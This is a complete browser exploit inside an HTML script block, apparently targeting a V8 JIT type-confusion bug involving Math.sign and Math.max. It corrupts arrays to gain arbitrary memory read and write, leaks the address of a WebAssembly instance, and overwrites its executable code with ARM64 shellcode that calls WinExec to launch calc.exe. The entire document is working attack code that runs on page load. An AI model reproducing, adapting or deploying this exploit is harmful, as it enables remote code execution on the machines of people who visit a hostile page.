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<script> function gc() { for (var i = 0; i < 0x80000; ++i) { var a = new ArrayBuffer(); } } let shellcode = [ // move sp into x9 // Indexing into SP can be tricky due to alignment requirements // mov, x9, sp 0xe9, 0x03, 0x00, 0x91, // Put CALC.EXE in x0 // AC // movz x0, #0x4143 0x60, 0x28, 0x88, 0xD2, // CL // movk x0, #0x434c, lsl #16 0x80, 0x69, 0xA8, 0xF2, // E. // movk x0, #452e #0x452e, lsl #32 0xc0, 0xa5, 0xC8, 0xF2, // EX // movk x0, #0x4558, lsl #4558#48 0x00, 0xab, 0xE8, 0xF2, // put x0 on x9-stack // str, x0, [x9], #8 0x20, 0x85, 0x00, 0xF8, // Put null into x0 // movz, x0, #0 0x00, 0x00, 0x80, 0xD2, // put x0 on x9-stack // str x0, [x9], #8 0x20, 0x85, 0x00, 0xF8, // put x9 into x0 - comment out to crash on winexec // mov x0, x9 0xe0, 0x03, 0x09, 0xaa, // Subtract 16 from x0 (look at crash) // sub, x0, 0x, #0x10 0x00, 0x40, 0x00, 0xd1, // put 0x1 in x1 // movz x1, #0x01 0x21, 0x00, 0x80, 0xd2, // Load address of WinExec() (static) into j8 // TODO: Make universal // movz x8, #0x9ff0 0x08, 0xFE, 0x93, 0xD2, // movk x8, #0x6fde, lsl #16 0xC8, 0xFB, 0xAD, 0xF2, // movk x8, #0x7ffc, lsl #32 0x88, 0xFF, 0xCF, 0xF2, // movk x8, #0, lsl #48 // This is redundant due to the original MOVZ // 0x08, 0x00, 0xE0, 0xF2, // jalr x8 0x00, 0x01, 0x3F, 0xD6, // Infinite loop 0x00, 0x00, 0x00, 0x14 ]; var wasmCode = new Uint8Array([0, 97, 115, 109, 1, 0, 0, 0, 1, 133, 128, 128, 128, 0, 1, 96, 0, 1, 127, 3, 130, 128, 128, 128, 0, 1, 0, 4, 132, 128, 128, 128, 0, 1, 112, 0, 0, 5, 131, 128, 128, 128, 0, 1, 0, 1, 6, 129, 128, 128, 128, 0, 0, 7, 145, 128, 128, 128, 0, 2, 6, 109, 101, 109, 111, 114, 121, 2, 0, 4, 109, 97, 105, 110, 0, 0, 10, 138, 128, 128, 128, 0, 1, 132, 128, 128, 128, 0, 0, 65, 42, 11]); var wasmModule = new WebAssembly.Module(wasmCode); var wasmInstance = new WebAssembly.Instance(wasmModule); var main = wasmInstance.exports.main; var bf = new ArrayBuffer(8); var bfView = new DataView(bf); function fLow(f) { bfView.setFloat64(0, f, true); return (bfView.getUint32(0, true)); } function fHi(f) { bfView.setFloat64(0, f, true); return (bfView.getUint32(4, true)) } function i2f(low, hi) { bfView.setUint32(0, low, true); bfView.setUint32(4, hi, true); return bfView.getFloat64(0, true); } function f2big(f) { bfView.setFloat64(0, f, true); return bfView.getBigUint64(0, true); } function big2f(b) { bfView.setBigUint64(0, b, true); return bfView.getFloat64(0, true); } class LeakArrayBuffer extends ArrayBuffer { constructor(size) { super(size); this.slot = 0xb33f; } } function foo(a) { let x = -1; if (a) x = 0xFFFFFFFF; var arr = new Array(Math.sign(0 - Math.max(0, x, -1))); arr.shift(); let local_arr = Array(2); local_arr[0] = 5.1;//4014666666666666 let buff = new LeakArrayBuffer(0x1000);//byteLength idx=8 arr[0] = 0x1122; return [arr, local_arr, buff]; } for (var i = 0; i < 0x10000; ++i) foo(false); gc(); gc(); [corrput_arr, rwarr, corrupt_buff] = foo(true); corrput_arr[12] = 0x22444; delete corrput_arr; function setbackingStore(hi, low) { rwarr[4] = i2f(fLow(rwarr[4]), hi); rwarr[5] = i2f(low, fHi(rwarr[5])); } function leakObjLow(o) { corrupt_buff.slot = o; return (fLow(rwarr[9]) - 1); } let corrupt_view = new DataView(corrupt_buff); let corrupt_buffer_ptr_low = leakObjLow(corrupt_buff); let idx0Addr = corrupt_buffer_ptr_low - 0x10; let baseAddr = (corrupt_buffer_ptr_low & 0xffff0000) - ((corrupt_buffer_ptr_low & 0xffff0000) % 0x40000) + 0x40000; let delta = baseAddr + 0x1c - idx0Addr; if ((delta % 8) == 0) { let baseIdx = delta / 8; this.base = fLow(rwarr[baseIdx]); } else { let baseIdx = ((delta - (delta % 8)) / 8); this.base = fHi(rwarr[baseIdx]); } let wasmInsAddr = leakObjLow(wasmInstance); setbackingStore(wasmInsAddr, this.base); let code_entry = corrupt_view.getFloat64(13 * 8, true); setbackingStore(fLow(code_entry), fHi(code_entry)); for (let i = 0; i < shellcode.length; i++) { corrupt_view.setUint8(i, shellcode[i]); } main(); </script> |
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